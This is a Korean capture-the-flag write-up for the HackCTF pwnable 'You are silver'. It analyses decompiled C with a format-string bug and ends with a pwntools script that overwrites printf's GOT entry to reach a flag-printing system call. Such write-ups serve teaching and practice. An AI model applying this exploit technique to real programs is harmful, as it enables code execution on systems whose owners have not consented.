본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) You are silver Write-up

by snwo 2020. 8. 26.

내가 입력한 문자열을 출력하고, you are silver 를 출력하고, 세그먼트폴트가 나고 종료된다.

undefined8 main(void)

{
  char local_38 [40];
  int local_10;
  uint local_c;
  
  setvbuf(stdout,(char *)0x0,2,0);
  local_c = 0x32;
  puts("Please enter your name");
  fgets(local_38,0x2e,stdin);
  printf(local_38);
  local_10 = get_tier((ulong)local_c);
  printf((char *)(long)local_10);
  return 0;
}

main 함수이다. 0x2e 만큼 입력받기때문에 overwrite 는 발생하지 않을것이다.

 

void get_tier(int param_1)

{
  if (param_1 < 0x33) {
    puts("\nYou are silver.");
  }
  else {
    if ((param_1 < 0x42) && (0x32 < param_1)) {
      puts("\nYou are platinum.");
    }
    else {
      if ((param_1 < 0x4c) && (0x41 < param_1)) {
        puts("\nYou are master.");
      }
      else {
        if (0x4b < param_1) {
          puts("\nYou are challenger.");
        }
      }
    }
  }
  return;
}

인자를 가져와서 숫자의 크기만큼 티어를 출력해준다. 주의해서 봐야할건 리턴타입이 void 라는건데,

main 함수에서 (char*)(long) 으로 캐스팅하기때문에, 쓰레기값을 참조해서 출력하므로 segmentation fault 가 나게된다.

 

printf(local_38);
local_10 = get_tier((ulong)local_c);
printf((char *)(long)local_10);

서식문자없이 출력하므로, FSB 가 발생한다. 그렇다면, segmentation fault 가 나는 두번째 printf 가 실행되지 않도록,

printf 함수의 got 를 overwrite 하자.


got overwrite 가 가능하다 !.


void play_game(int param_1)

{
  if (param_1 == 2) {
    puts("platinum can\'t play game. :(");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (param_1 < 3) {
    if (param_1 == 1) {
      puts("SILVER can\'t play game.");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  else {
    if (param_1 == 3) {
      puts("master can\'t play game. Sorry! :(");
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (param_1 == 4) {
      puts("Challenger. Take this first!");
      system("cat ./flag");
    }
  }
  puts("Who are you? get out!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

주어져있는 함수이다. 두번째 printf 를 실행할때 인자가 4라는 보장이 없기때문에, printf.got 를 play_game 으로 주소를 조작한다해도 system("cat ./flag"); 를 실행할수는 없다. 하지만 함수시작으로 조작하라는 법이있나? system("cat ./flag") 이 있는 주소로 조작하면 된다~!


%x %x %x %x %x %x %x %x %x %x 
21be2a1 0 21be2be ba41b650 7c 25207825 20782520 78252078 25207825 ba41b770 

덮어쓸 함수주소를 패킹하면 00 으로 끝나기때문에, 함수주소를 뒤에다가 쓰도록 하고

64bit 시스템이기때문에 8바이트 단위로 맞춰줘야한다.

 

%6$ln 버퍼시작

%7$ln 버퍼시작+8

%8$ln 버퍼시작+16

 

payload 를 24바이트로 맞춰주었기때문에, %9$ln 를 써서 버퍼시작+24byte 에있는 printf_got 주소를 가리켜야한다.

from pwn import *
r=remote("ctf.j0n9hyun.xyz",3022)
#r=process("./you_are_silver")
oneshot=0x0000000000400750
printf=0x601028
context.log_level='debug'
pay=f'%{oneshot}c%9$ln'.ljust(24,' ')+p64(printf).decode()
print(pay)
r.sendline(pay)
r.interactive()

%9$n 은 안될까 생각해봤는데, printf_got 주소 (0x601028) -> 0x7fffffff~~~~~~~~  이렇게 되어있을것이기때문에

n 은 안된다.